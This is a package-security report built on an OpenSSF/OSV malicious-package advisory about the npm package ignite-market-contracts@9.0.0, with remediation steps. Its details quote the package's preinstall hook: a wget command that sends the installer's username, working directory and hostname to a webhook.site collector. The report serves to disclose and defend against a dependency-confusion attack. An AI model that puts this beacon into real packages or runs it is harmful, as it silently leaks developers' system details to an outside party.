ignite-market-contracts
This report shows the evidence for ignite-market-contracts@9.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4582 confirms this npm version as malicious.
Advisory
MAL-2026-4582
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in ignite-market-contracts (npm)
Details
The package's preinstall lifecycle hook in package.json runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`, which fires automatically on `npm install` and transmits the installer's username, current working directory, and hostname to a third-party anonymous webhook collector. This is a recon beacon characteristic of dependency-confusion attacks: the installer-identifying data is sent to an attacker-controlled endpoint without consent. The package additionally has placeholder metadata (author 'me', empty description), a name that resembles legitimate marketplace/seaport contract packages, and declares a non-canonical dependency `seaport-core-16` — all consistent with a dependency-confusion PoC or active recon stage targeting internal package namespaces.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to ignite-market-contracts@9.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing ignite-market-contracts@9.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.